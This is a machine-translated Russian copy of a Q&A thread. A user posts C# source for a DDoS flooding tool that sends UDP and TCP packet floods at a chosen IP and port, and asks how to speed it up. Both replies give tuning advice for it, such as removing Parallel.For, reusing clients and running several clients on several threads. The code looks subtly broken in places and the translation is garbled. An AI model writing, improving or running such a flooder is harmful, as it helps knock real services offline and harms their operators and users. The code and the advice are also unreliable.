Механизм ДДОС: повышение безопасности потока и скорость петли?


Я вполне к этому новому, но я кодировал механизм ДДОС для образовательных целей. Мне нужно знать, если потокобезопасность может быть улучшена (сейчас у меня нет, но мне нужны какие-нибудь?) а если контур скорости может быть улучшена (данные могут быть отправлены быстрее)?

public class SessionWorker : ISessionWorker
{
    private ISession _session;
    private readonly Task _cycleTask;
    private bool _cycleActive;

    public SessionWorker()
    {
        _cycleTask = new Task(OnCycle);
    }

    public void Load(ISession session)
    {
        _session = session;
    }

    public void Start()
    {
        _cycleTask.Start();
        _cycleActive = true;
    }

    public void Stop()
    {
        _cycleActive = false;
    }

    private void OnCycle()
    {
        if (_session.AttackType == SessionAttackType.Udp)
        {
            CycleUdp();
        }
        else
        {
            CycleTcp();
        }
    }

    private void CycleUdp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var udpClient = new UdpClient(_session.AttackingIp, _session.AttackingPort);

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                udpClient.Send(rubbish, rubbish.Length);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }

    private void CycleTcp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var tcpClient = new TcpClient();

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                tcpClient.Client.BeginSend(rubbish, 0, rubbish.Length, SocketFlags.None, ar => tcpClient.Client.EndSend(ar), tcpClient);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }
}

Другие части кода?

public bool HasAttackExpired()
{
    return (DateTime.Now - AttackExpiration).TotalSeconds < 1;
}

Способ StopAttack:

public void StopAttack()
{
    if (IsAttacking && HasAttackExpired())
    {
        CoreUtilities.LogToConsole("Finished running an attack and sent " + BytesSent + " bytes.");
    }

    IsAttacking = false;

    AttackingIp = "";
    AttackingPort = 0;

    SessionWorker.Stop();
}


182
4
задан 13 апреля 2018 в 03:04 Источник Поделиться
Комментарии
2 ответа


private bool _cycleActive;

Вы на самом деле не нужна эта переменная. В Task класс имеет Status собственность.



Thread.Sleep(2);

И async/await классический (как в классическом namespace std в C++). Вы не хотите, чтобы заблокировать поток с этим. Вместо этого, вы должны использовать Task.Delay и сделать код async



public void Stop()
{
_cycleActive = false;
}

Для остановки следует использовать CancellationTokenSource и CancellationToken. Смотри Задач Отмене.

3
ответ дан 13 апреля 2018 в 06:04 Источник Поделиться

Я не специалист по вредоносного кода, но я думаю, единственный способ знать наверняка, что работает лучше всего для выполнения некоторых пакетов анализатор программного обеспечения на клиенте и сервере, и убедитесь сами.

Я чувствую, что ваша реализация использует слишком много потоков. Parallel.For петли, вероятно, вредит больше, чем помогает. Это ускоряет вещи только при выполнении достаточно сложных задач на каждой итерации. Отправка 1 байт по сети нет ничего сложного. Попробуйте заменить ее обычной for петли.

Непонятно также, что 2 в Thread.Sleep(2) стенды для. Почему это 2 а не, скажем, 3и почему вы должны "спать" вообще. Если это необходимо, то, возможно, это должно быть собственностью вашей сессии, а не жестко закодированное значение.

Клиентам осуществлять IDisposableпоэтому вы должны распоряжаться ими в какой-то момент. Я тоже не понимаю, почему вы должны создать нового клиента на каждой итерации. Вы не можете повторно использовать один экземпляр?

Еще одна очевидная вещь, чтобы попробовать, чтобы запустить несколько клиентов на несколько потоков. Может быть, это будет работать "лучше". Может и нет.

P. S. Как для потокобезопасности забота: видеть так ответить. Так нет, звонит Send или BeginSend параллельно из разных потоков не потокобезопасными.

2
ответ дан 13 апреля 2018 в 08:04 Источник Поделиться